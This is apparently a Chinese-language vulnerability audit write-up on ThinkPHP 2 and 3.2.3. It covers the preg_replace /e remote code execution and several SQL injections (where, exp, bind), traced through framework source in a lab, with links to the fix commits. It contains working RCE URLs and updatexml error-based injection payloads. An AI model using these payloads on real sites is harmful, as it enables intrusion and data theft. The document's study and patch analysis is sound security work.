ThinkPHP 指纹 /favicon.ico
1 2 3 4 /?c=4e5 e5d7364f443e28fbf0d3ae744a59a /4e5 e5d7364f443e28fbf0d3ae744a59a4e5 e5d7364f443e28fbf0d3ae744a59a-index.html body里有"十年磨一剑" 或者"ThinkPHP"
thinkphp的路由 几种URL模式 1 2 3 普通模式:'URL_MODEL' =>0 ?m=模块&c=控制器&a=方法&参数=xx 如:?m=Home&c=User&a=test&id=1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pathinfo模式(默认模式):'URL_MODEL' =>1 http: 如:http: PATHINFO模式还包括普通模式和智能模式两种: PATHINFO普通模式:'PATH_MODEL' =>1 该模式URL参数没有顺序,例如 http: PATHINFO智能模式:'PATH_MODEL' =>2 , (系统默认的模式) http: 参数之间的分割符由PATH_DEPR参数设置,默认为"/" ,若设置PATH_DEPR为"^" , 'URL_PATHINFO_DEPR' =>'/' , http:
1 2 3 4 rewrite模式 http: 与thinkPHP默认的路由形式Pathinfo ()形式路由的不同之处就是,缺少了入口文件(index.php) 该路由形式不能直接使用,需要配置中间件重写规则才能使用
1 2 3 4 5 6 7 8 兼容路由模式 http: 兼容路由形式只有1 个参数:参数名s 如:http: 也可以支持参数分割符号的定义,例如在PATH_DEPR设置为"~" 的情况下, 'URL_PATHINFO_DEPR' =>'~' , http:
ThinkPHP2 漏洞成因:使用preg_replace的/e模式匹配路由
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
payload php<=5.6.29
http://10.10.10.199:8080/index.php?s=/index/index/xxx/${@phpinfo()}
环境搭建: vulhub/thinkphp/2-rce docker compose up -d
写个变量调试一下看_preg_replace_
的参数
1 2 3 preg_replace ('@(\w+)/([^/]+)@e' , '$var[\'\1\']="\2";' , implode ('/' , $paths )); 替换部分 '$var[\'\1\']="\2";' : 将匹配到的 key/value 转换成 $var ['key' ] = "value" ; 的 PHP 代码并执行。
根据thinkphp的路由规则
这个URL映射到控制器就是解析url里的:操作/[参数名/参数值…],然后根据路由规则,使用/e模式来执行
比如传入
/xxx/${@phpinfo()}
经过_preg_replace_
生成数组
'xxx'' = "${@phpinfo()}"
那么为什么phpinfo()
就会被执行,因为键值用的是双引号,双引号支持变量解析
1 2 ${} 语法允许 动态变量名 或 表达式解析 ${phpinfo ()} 会先执行 phpinfo () 函数,然后尝试将其返回值作为变量名解析(这里会返回true 也就是1 $1 )
可以构造如下payload
1 2 3 /index.php?s=a/b/c/${phpinfo ()} => index.php/a/b/c/${@phpinfo ()} /index.php?s=a/b/c/${phpinfo ()}/c/d/e/f /index.php?s=a/b/c/d/e/${phpinfo ()}
ThinkPHP3 3.0-3.1 RCE 同thinkphp2 3.2.3 where sql注入 tp3提供了一些内置方法 在 ThinkPHP/Common/functions.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 A 快速实例化Action类库 B 执行行为类 C 配置参数存取方法 D 实例化模型类 格式 [资源: E 抛出异常处理 F 快速文件数据读取和保存 针对简单类型数据 字符串、数组 G 记录和统计时间(微秒)和内存使用情况 I 获取输入参数 支持过滤和默认值 L 语言参数存取方法 M 实例化一个没有模型文件的Model N 设置和获取统计数据 R 快速远程调用Action类方法 URL 参数格式 [资源: S 快速缓存存取方法 T 获取模版文件 格式 资源: U URL动态生成和重定向方法 W 快速Widget输出方法
https://gitee.com/Pro-Li/thinkphp3.2.3/repository/archive/master.zip
配置 首先配置好数据库 ThinkPHP/Conf/convention.php
在Application/Home/Controller/IndexController.class.php写一个获取数据库数据的控制器
访问试一下
审计 对于传入的id=1
,根据
$data = M('user')->find(I('GET.id'));
由内到外分析参数经过的方法
首先是I()
方法,ctrl+单击方法跳转到ThinkPHP/Common/functions.php:271
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 function I ($name ,$default ='' ,$filter =null ,$datas =null ) { static $_PUT = null ; if (strpos ($name ,'/' )){ list ($name ,$type ) = explode ('/' ,$name ,2 ); }elseif (C ('VAR_AUTO_STRING' )){ $type = 's' ; } if (strpos ($name ,'.' )) { list ($method ,$name ) = explode ('.' ,$name ,2 ); }else { $method = 'param' ; } switch (strtolower ($method )) { case 'get' : $input =& $_GET ; break ; case 'post' : $input =& $_POST ; break ; case 'put' : if (is_null ($_PUT )){ parse_str (file_get_contents ('php://input' ), $_PUT ); } $input = $_PUT ; break ; case 'param' : switch ($_SERVER ['REQUEST_METHOD' ]) { case 'POST' : $input = $_POST ; break ; case 'PUT' : if (is_null ($_PUT )){ parse_str (file_get_contents ('php://input' ), $_PUT ); } $input = $_PUT ; break ; default : $input = $_GET ; } break ; case 'path' : $input = array (); if (!empty ($_SERVER ['PATH_INFO' ])){ $depr = C ('URL_PATHINFO_DEPR' ); $input = explode ($depr ,trim ($_SERVER ['PATH_INFO' ],$depr )); } break ; case 'request' : $input =& $_REQUEST ; break ; case 'session' : $input =& $_SESSION ; break ; case 'cookie' : $input =& $_COOKIE ; break ; case 'server' : $input =& $_SERVER ; break ; case 'globals' : $input =& $GLOBALS ; break ; case 'data' : $input =& $datas ; break ; default : return null ; } if ('' ==$name ) { $data = $input ; $filters = isset ($filter )?$filter :C ('DEFAULT_FILTER' ); if ($filters ) { if (is_string ($filters )){ $filters = explode (',' ,$filters ); } foreach ($filters as $filter ){ $data = array_map_recursive ($filter ,$data ); } } }elseif (isset ($input [$name ])) { $data = $input [$name ]; $filters = isset ($filter )?$filter :C ('DEFAULT_FILTER' ); if ($filters ) { if (is_string ($filters )){ if (0 === strpos ($filters ,'/' )){ if (1 !== preg_match ($filters ,(string )$data )){ return isset ($default ) ? $default : null ; } }else { $filters = explode (',' ,$filters ); } }elseif (is_int ($filters )){ $filters = array ($filters ); } if (is_array ($filters )){ foreach ($filters as $filter ){ if (function_exists ($filter )) { $data = is_array ($data ) ? array_map_recursive ($filter ,$data ) : $filter ($data ); }else { $data = filter_var ($data ,is_int ($filter ) ? $filter : filter_id ($filter )); if (false === $data ) { return isset ($default ) ? $default : null ; } } } } } if (!empty ($type )){ switch (strtolower ($type )){ case 'a' : $data = (array )$data ; break ; case 'd' : $data = (int )$data ; break ; case 'f' : $data = (float )$data ; break ; case 'b' : $data = (boolean )$data ; break ; case 's' : default : $data = (string )$data ; } } }else { $data = isset ($default )?$default :null ; } is_array ($data ) && array_walk_recursive ($data ,'think_filter' ); return $data ; }
在方法定义的地方下个断点,跟踪参数在方法中的路径
因为没有传入filter
参数,所以默认为空
所以下面这个三元表达式会取C('DEFAULT_FILTER')
$filters = isset($filter)?$filter:C('DEFAULT_FILTER'); //C('DEFAULT_FILTER')
调用了C
方法,跟进一下在ThinkPHP/Common/functions.php:23
分析一下知道会到这个三元表达式
查看配置文件
用的htmlspecialchars
,继续跟
这里分析不管传入的是不是数组,经过
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
都会先调用htmlspecialchars
来过滤
然后会到
is_array($data) && array_walk_recursive($data,'think_filter'); //回调think_filter来过滤
在ThinkPHP/Common/functions.php:1538
1 2 3 4 5 6 7 8 function think_filter (&$value ) { if (preg_match ('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i' ,$value )){ $value .= ' ' ; } }
最后返回
接着跟进find()
方法ThinkPHP/Library/Think/Model.class.php:720
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 public function find ($options =array ( ) ) { if (is_numeric ($options ) || is_string ($options )) { $where [$this ->getPk ()] = $options ; $options = array (); $options ['where' ] = $where ; } $pk = $this ->getPk (); if (is_array ($options ) && (count ($options ) > 0 ) && is_array ($pk )) { $count = 0 ; foreach (array_keys ($options ) as $key ) { if (is_int ($key )) $count ++; } if ($count == count ($pk )) { $i = 0 ; foreach ($pk as $field ) { $where [$field ] = $options [$i ]; unset ($options [$i ++]); } $options ['where' ] = $where ; } else { return false ; } } $options ['limit' ] = 1 ; $options = $this ->_parseOptions ($options ); if (isset ($options ['cache' ])){ $cache = $options ['cache' ]; $key = is_string ($cache ['key' ])?$cache ['key' ]:md5 (serialize ($options )); $data = S ($key ,'' ,$cache ); if (false !== $data ){ $this ->data = $data ; return $data ; } } $resultSet = $this ->db->select ($options ); if (false === $resultSet ) { return false ; } if (empty ($resultSet )) { return null ; } if (is_string ($resultSet )){ return $resultSet ; } $data = $this ->_read_data ($resultSet [0 ]); $this ->_after_find ($data ,$options ); if (!empty ($this ->options['result' ])) { return $this ->returnResult ($data ,$this ->options['result' ]); } $this ->data = $data ; if (isset ($cache )){ S ($key ,$data ,$cache ); } return $this ->data; }protected function _after_find (&$result ,$options ) {}protected function returnResult ($data ,$type ='' ) { if ($type ){ if (is_callable ($type )){ return call_user_func ($type ,$data ); } switch (strtolower ($type )){ case 'json' : return json_encode ($data ); case 'xml' : return xml_encode ($data ); } } return $data ; }
断点调试,发现会调用ThinkPHP/Library/Think/Model.class.php:627
的 _parseOptions
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 protected function _parseOptions ($options =array ( ) ) { if (is_array ($options )) $options = array_merge ($this ->options,$options ); if (!isset ($options ['table' ])){ $options ['table' ] = $this ->getTableName (); $fields = $this ->fields; }else { $fields = $this ->getDbFields (); } if (!empty ($options ['alias' ])) { $options ['table' ] .= ' ' .$options ['alias' ]; } $options ['model' ] = $this ->name; if (isset ($options ['where' ]) && is_array ($options ['where' ]) && !empty ($fields ) && !isset ($options ['join' ])) { foreach ($options ['where' ] as $key =>$val ){ $key = trim ($key ); if (in_array ($key ,$fields ,true )){ if (is_scalar ($val )) { $this ->_parseType ($options ['where' ],$key ); } }elseif (!is_numeric ($key ) && '_' != substr ($key ,0 ,1 ) && false === strpos ($key ,'.' ) && false === strpos ($key ,'(' ) && false === strpos ($key ,'|' ) && false === strpos ($key ,'&' )){ if (!empty ($this ->options['strict' ])){ E (L ('_ERROR_QUERY_EXPRESS_' ).':[' .$key .'=>' .$val .']' ); } unset ($options ['where' ][$key ]); } } } $this ->options = array (); $this ->_options_filter ($options ); return $options ; }
在这个方法下断点继续跟进,在ThinkPHP/Library/Think/Model.class.php:654
调用了 680 的_parseType
进行类型转换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected function _parseType (&$data ,$key ) { if (!isset ($this ->options['bind' ][':' .$key ]) && isset ($this ->fields['_type' ][$key ])){ $fieldType = strtolower ($this ->fields['_type' ][$key ]); if (false !== strpos ($fieldType ,'enum' )){ }elseif (false === strpos ($fieldType ,'bigint' ) && false !== strpos ($fieldType ,'int' )) { $data [$key ] = intval ($data [$key ]); }elseif (false !== strpos ($fieldType ,'float' ) || false !== strpos ($fieldType ,'double' )){ $data [$key ] = floatval ($data [$key ]); }elseif (false !== strpos ($fieldType ,'bool' )){ $data [$key ] = (bool )$data [$key ]; } } }
然后就会将参数传给select进行查询
$resultSet = $this->db->select($options);
把参数改为?id=1'
再走一遍看遇到sql注入时是如何处理的
发现经过_parseTyp
e之后id
就变成1
了
_parseType
会根据数据库字段的类型强制转换输入的参数,因为id
是int
,所以会被**intval()**
取整转为1
这里类型转换就防止了sql注入,那么要进入_parseType
要满足下面这个if
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
关键点在第二个条件is_array($options['where'])
回到find
方法可以看到传入的id
是数字或者字符串的时候,就会满足第一个if
,把where
转为数组
当传入的参数是数组?id[where]=1
的时候,就不会进入这个if
这样
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
的第二个条件is_array($options['where'])
就是false
,就不会进入_parseType
了
这样就可以进行注入了
构造注入 可以构造报错注入
1 2 ?id[where]=1 and updatexml (1 ,concat (0x7e ,(select user ()),0x7e ),1 )%23 ?id[where]=1 and updatexml (1 ,concat (0x7e ,(select user () from user limit 1 ),0x7e ),1 )%23
注意一定要 limit 1
,只能回显一行,因为
尝试一下
修复 https://github.com/top-think/thinkphp/commit/9e1db19c1e455450cfebb8b573bb51ab7a1cef04
v3.2.4
将$options
和$this->options
进行了区分,从而传入的参数无法污染到$this->options
,也就无法控制sql语句了。
3.2.3 exp sql注入 配置 修改一下控制器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php namespace Home \Controller ;use Think \Controller ;class IndexController extends Controller { public function index ( ) { header ('Content-Type: text/html; charset=utf-8' ); $User = D ('user' ); $map = array ('username' => $_GET ['username' ]); $user = $User ->where ($map )->find (); var_dump ($user ); } }
审计 payload:
?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
在find()
方法下断点一路跟进,发现到
$resultSet = $this->db->select($options);
会调用ThinkPHP/Library/Think/Db/Driver.class.php:942
的select
方法
1 2 3 4 5 6 7 public function select ($options =array ( ) ) { $this ->model = $options ['model' ]; $this ->parseBind (!empty ($options ['bind' ])?$options ['bind' ]:array ()); $sql = $this ->buildSelectSql ($options ); $result = $this ->query ($sql ,!empty ($options ['fetch_sql' ]) ? true : false ); return $result ; }
继续跟进会调用ThinkPHP/Library/Think/Db/Driver.class.php:956
的buildSelectSql
方法
1 2 3 4 5 6 7 8 9 10 11 12 public function buildSelectSql ($options =array ( ) ) { if (isset ($options ['page' ])) { list ($page ,$listRows ) = $options ['page' ]; $page = $page >0 ? $page : 1 ; $listRows = $listRows >0 ? $listRows : (is_numeric ($options ['limit' ])?$options ['limit' ]:20 ); $offset = $listRows *($page -1 ); $options ['limit' ] = $offset .',' .$listRows ; } $sql = $this ->parseSql ($this ->selectSql,$options ); return $sql ; }
继续跟进会调用ThinkPHP/Library/Think/Db/Driver.class.php:975
的parsetSql
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public function parseSql ($sql ,$options =array ( ) ) { $sql = str_replace ( array ('%TABLE%' ,'%DISTINCT%' ,'%FIELD%' ,'%JOIN%' ,'%WHERE%' ,'%GROUP%' ,'%HAVING%' ,'%ORDER%' ,'%LIMIT%' ,'%UNION%' ,'%LOCK%' ,'%COMMENT%' ,'%FORCE%' ), array ( $this ->parseTable ($options ['table' ]), $this ->parseDistinct (isset ($options ['distinct' ])?$options ['distinct' ]:false ), $this ->parseField (!empty ($options ['field' ])?$options ['field' ]:'*' ), $this ->parseJoin (!empty ($options ['join' ])?$options ['join' ]:'' ), $this ->parseWhere (!empty ($options ['where' ])?$options ['where' ]:'' ), $this ->parseGroup (!empty ($options ['group' ])?$options ['group' ]:'' ), $this ->parseHaving (!empty ($options ['having' ])?$options ['having' ]:'' ), $this ->parseOrder (!empty ($options ['order' ])?$options ['order' ]:'' ), $this ->parseLimit (!empty ($options ['limit' ])?$options ['limit' ]:'' ), $this ->parseUnion (!empty ($options ['union' ])?$options ['union' ]:'' ), $this ->parseLock (isset ($options ['lock' ])?$options ['lock' ]:false ), $this ->parseComment (!empty ($options ['comment' ])?$options ['comment' ]:'' ), $this ->parseForce (!empty ($options ['force' ])?$options ['force' ]:'' ) ),$sql ); return $sql ; }
这就是用sql模板来构造sql语句,继续跟进到ThinkPHP/Library/Think/Db/Driver.class.php:547
的parseWhereItem
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 protected function parseWhereItem ($key ,$val ) { $whereStr = '' ; if (is_array ($val )) { if (is_string ($val [0 ])) {$exp = strtolower ($val [0 ]); if (preg_match ('/^(eq|neq|gt|egt|lt|elt)$/' ,$exp )) { $whereStr .= $key .' ' .$this ->exp[$exp ].' ' .$this ->parseValue ($val [1 ]); }elseif (preg_match ('/^(notlike|like)$/' ,$exp )){ if (is_array ($val [1 ])) { $likeLogic = isset ($val [2 ])?strtoupper ($val [2 ]):'OR' ; if (in_array ($likeLogic ,array ('AND' ,'OR' ,'XOR' ))){ $like = array (); foreach ($val [1 ] as $item ){ $like [] = $key .' ' .$this ->exp[$exp ].' ' .$this ->parseValue ($item ); } $whereStr .= '(' .implode (' ' .$likeLogic .' ' ,$like ).')' ; } }else { $whereStr .= $key .' ' .$this ->exp[$exp ].' ' .$this ->parseValue ($val [1 ]); } }elseif ('bind' == $exp ){ $whereStr .= $key .' = :' .$val [1 ]; }elseif ('exp' == $exp ){ $whereStr .= $key .' ' .$val [1 ]; }elseif (preg_match ('/^(notin|not in|in)$/' ,$exp )){ if (isset ($val [2 ]) && 'exp' ==$val [2 ]) { $whereStr .= $key .' ' .$this ->exp[$exp ].' ' .$val [1 ]; }else { if (is_string ($val [1 ])) { $val [1 ] = explode (',' ,$val [1 ]); } $zone = implode (',' ,$this ->parseValue ($val [1 ])); $whereStr .= $key .' ' .$this ->exp[$exp ].' (' .$zone .')' ; } }elseif (preg_match ('/^(notbetween|not between|between)$/' ,$exp )){ $data = is_string ($val [1 ])? explode (',' ,$val [1 ]):$val [1 ]; $whereStr .= $key .' ' .$this ->exp[$exp ].' ' .$this ->parseValue ($data [0 ]).' AND ' .$this ->parseValue ($data [1 ]); }else { E (L ('_EXPRESS_ERROR_' ).':' .$val [0 ]); } }else { $count = count ($val ); $rule = isset ($val [$count -1 ]) ? (is_array ($val [$count -1 ]) ? strtoupper ($val [$count -1 ][0 ]) : strtoupper ($val [$count -1 ]) ) : '' ; if (in_array ($rule ,array ('AND' ,'OR' ,'XOR' ))) { $count = $count -1 ; }else { $rule = 'AND' ; } for ($i =0 ;$i <$count ;$i ++) { $data = is_array ($val [$i ])?$val [$i ][1 ]:$val [$i ]; if ('exp' ==strtolower ($val [$i ][0 ])) { $whereStr .= $key .' ' .$data .' ' .$rule .' ' ; }else { $whereStr .= $this ->parseWhereItem ($key ,$val [$i ]).' ' .$rule .' ' ; } } $whereStr = '( ' .substr ($whereStr ,0 ,-4 ).' )' ; } }else { $likeFields = $this ->config['db_like_fields' ]; if ($likeFields && preg_match ('/^(' .$likeFields .')$/i' ,$key )) { $whereStr .= $key .' LIKE ' .$this ->parseValue ('%' .$val .'%' ); }else { $whereStr .= $key .' = ' .$this ->parseValue ($val ); } } return $whereStr ; }
重点就在这个方法
当传入的值是数组且第一个键值为exp
的时候会拼接where
语句
查看返回值
继续跟进到最后根据模板生成的sql语句是怎样的
报错注入构造成功
这里构造的语句最后就会提交给sql查询
具体是怎么构造,分析parsetSql
方法的模板可知
1 2 3 4 %WHERE% $whereStr .= $key .' ' .$val [1 ]; 最后得到(模板其他的占位符返回的都是空值) SELECT * FROM `user` WHERE `id` =1 and updatexml (1 ,concat (0x7e ,user (),0x7e ),1 ) LIMIT 1
这里只能通过get
或者post
等方法传入值,不能通过I()
接收值
因为I
方法最后经过了一个回调函数think_filter
过滤了exp
,在后面添加一个空格
,无法进入拼接where
的if
因为(exp != exp空格)
1 2 3 4 5 6 7 8 function think_filter (&$value ) { if (preg_match ('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i' ,$value )){ $value .= ' ' ; } }
thinkphp 3.2.3 bind注入 配置 控制器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php namespace Home \Controller ;use Think \Controller ;class IndexController extends Controller { public function index ( ) { header ('Content-Type: text/html; charset=utf-8' ); $User = M ("user" ); $user ['id' ] = I ('id' ); $data ['password' ] = I ('password' ); $valu = $User ->where ($user )->save ($data ); var_dump ($valu ); } }
审计 payload
?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
注意到上面exp
注入的上一个if
1 2 elseif ('bind' == $exp ){ $whereStr .= $key .' = :' .$val [1 ];
当数组第一个键值为bind
的时候,会拼接where
为
where xxx.' ='.val //也就是拼接一个等号和冒号
这里为什么可以通过I('id')
获取参数,因为think_filter
没有过滤bind
因为用到save()
,所以在ThinkPHP/Library/Think/Model.class.php:396
对 save()
方法下给断点
到ThinkPHP/Library/Think/Model.class.php:451
$result = $this->db->update($data,$options);
调用了update()
,跟进ThinkPHP/Library/Think/Db/Driver.class.php:891
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public function update ($data ,$options ) { $this ->model = $options ['model' ]; $this ->parseBind (!empty ($options ['bind' ])?$options ['bind' ]:array ()); $table = $this ->parseTable ($options ['table' ]); $sql = 'UPDATE ' . $table . $this ->parseSet ($data ); if (strpos ($table ,',' )){ $sql .= $this ->parseJoin (!empty ($options ['join' ])?$options ['join' ]:'' ); } $sql .= $this ->parseWhere (!empty ($options ['where' ])?$options ['where' ]:'' ); if (!strpos ($table ,',' )){ $sql .= $this ->parseOrder (!empty ($options ['order' ])?$options ['order' ]:'' ) .$this ->parseLimit (!empty ($options ['limit' ])?$options ['limit' ]:'' ); } $sql .= $this ->parseComment (!empty ($options ['comment' ])?$options ['comment' ]:'' ); return $this ->execute ($sql ,!empty ($options ['fetch_sql' ]) ? true : false ); }
parseWhere
会调用parseWhereItem
(进入到elseif(‘bind’ == $exp ))
返回值如下
在update()
的最后return
会调用ThinkPHP/Library/Think/Db/Driver.class.php:193
的 execute()
继续跟进发现在198行
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
sql语句改变了
分析这行发现
把queryStr
根据$this->bind
数组进行替换
也就是把:0
转为1
成功构造sql注入
那么bind
数组是哪来的,bind
一开始是初始化的空数组,对bind
监视,看值是何时变化的
发现是bindParam()
方法
protected function bindParam($name,$value){ $this->bind[':'.$name] = $value; }// bind[:0] = 1
而bindParam()
方法是parseSet()
调用的,parseSet()
是update()
方法(895行)调用的
也就是
1 2 3 4 5 6 save ()--> update ()--> parseSet () --> bindParam () --> execute () 然后execute ()的if (!empty ($this ->bind)){ $that = $this ; $this ->queryStr = strtr ($this ->queryStr,array_map (function($val ) use ($that ){ return '\'' .$that ->escapeString ($val ).'\'' ; },$this ->bind)); }
替换的这个1
其实就是传入的password
的值
改一下payload
?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=aa
发现bind把:0
替换为aa
修复 https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4
在I()
的回调方法think_filter
增加一个bind
字符过滤